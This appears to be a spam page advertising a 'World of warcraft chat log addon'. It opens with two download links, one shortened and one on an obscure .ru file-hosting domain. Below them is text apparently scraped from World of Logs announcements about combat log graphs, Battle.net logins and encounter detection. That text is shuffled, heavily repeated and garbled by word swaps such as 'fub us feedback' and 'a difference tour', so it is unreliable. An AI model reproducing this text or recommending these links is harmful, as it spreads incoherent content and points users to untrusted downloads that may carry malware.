World of warcraft chat log addon ____________________________________________________________________________________________________ ❤️ Link №1: https://bit.ly/2Qz4hIW ____________________________________________________________________________________________________ ❤️ Link №2: http://diavillighpors.fastdownloadcloud.ru/dt?s=YToyOntzOjc6InJlZmVyZXIiO3M6MjQ6Imh0dHA6Ly9zdGlra2VkLmNvbV8yX2R0LyI7czozOiJrZXkiO3M6MzI6IldvcmxkIG9mIHdhcmNyYWZ0IGNoYXQgbG9nIGFkZG9uIjt9 ____________________________________________________________________________________________________ Welcome to the new expansion! As far as text align to the right... If you'd like to do it with additional channels you can add this code anywhere. You can find addons for boss encounters, map and minimap addons, professions, UI packs, and more! This one is configured to exclude the first unavoidable random hit and only show people failing at moving. and discover World of Logs - This shows how well your tanks are switching to keep the stacking dots healable. Welcome to World of Logs World of Logs combat log analyzer allows gamers to save, share and analyze their raiding experiences conveniently and thoroughly in World of Warcraft. If you're new here, make sure you check out the tour for a 1 minute introduction. If you have any questions, we're happy to answer them on the. To create an account, simply and either or join one by browsing to it on the. Welcome to the new expansion! We're still updating the site, let me know if I missed anything important. The fastest way is by dropping me an email at. And now you know it exists. And now you know it exists. Write me at miles worldoflogs. Oh yea, I've received a poke about Stagger. It's been on the todo list for ages, but as it's a really annoying ability to track, so far prototypes aren't working out so well. If you have an idea for something to add, let us know and we'll try to have it added before the next raid. This basically: One of the backend changes we've made recently is to make it so anything can be graphed, and quickly. This means that we can now plot everything for a boss on a big tactical overview page. As a bit of a tech demo, we've added configurations for 4 of the Highmaul bosses, including Imperator Mar'gok, so you can take a look at what's possible. Here's a quick tour of the main features: Stacks and damage graphs. This shows how well your tanks are switching to keep the stacking dots healable. In this case - silly people stood in the cleave too long and all died at stack 6. Shows who stepped onto one. This one is configured to exclude the first unavoidable random hit and only show people failing at moving. Obviously there are a billion other combinations you can plot, but this will do as a start - later on, you'll be able to customize everything and share your dashboards with other people. It's not only handy for verifying execution of boss tactics, something like compare spell rotations between players should be doable too. The new guild pages for Battle. We're also working on custom guild cover images, here's a little preview of how yours can look like. We've been hard at work to update World of Logs for the new expansion pack and add a few major features. The new raid instances and dungeons have been added, of course, but that's not all. The biggest change is how we handle guilds, realms and authentication. When it's completed, the preferred way to login is to do so with a Battle. Details of this change can be found on the. Please feel free to take a look and send us feedback and feature requests. There are still a few things that don't work for Battle. You can continue to login and use the old system for now, there will be an option to transfer all your reports and subscription to the new system when it's ready. A second one is the support for advanced combat logging format in the backend. For now, it's an invisible change, used only for verification. We've a few things planned for this data, check back in a few weeks for more information. Oh, and encounter detection has been updated. Once upon a time, WoW doesn't write any information about encounters to the combat log and the only way to guess what difficulty you're playing on is to look at the data. If the Lich King summons Shadow Traps, it's probably heroic; for bosses like these, it's easy, but there were tons of exceptions that don't have additional spells and required special handling. This only works for recent raid zones though, so instances like Molten Core and 5 man instances are still using old skool detection code or don't have difficulty detection enabled. The new guild pages for Battle. Obviously there are a tout other combinations you can plot, but this will do as a start - later on, you'll be able to customize everything and share your dashboards with other people. Also do u know how i can show only the enemy nameplates healthbars off actual players. You can continue to login and use the old system for now, there will be an idea to transfer all your reports and subscription to the new system when it's ready. Hide end Tooltips are notoriously annoying to deal with as the code behind them's so complex. The biggest change is how we handle guilds, realms and authentication. Please feel free to take a look and fub us feedback and feature requests. The reason I took out the option was because this will override your size option as well as any custom fonts. In this case - silly people stood in the cleave too long and all died at stack 6. Here's a difference tour of the main features: Stacks and damage graphs. Once upon a time, WoW doesn't write any information about encounters to the combat log and the only way to guess what difficulty you're playing on is to look at the data. This shows how well your tanks are switching to keep the stacking dots healable.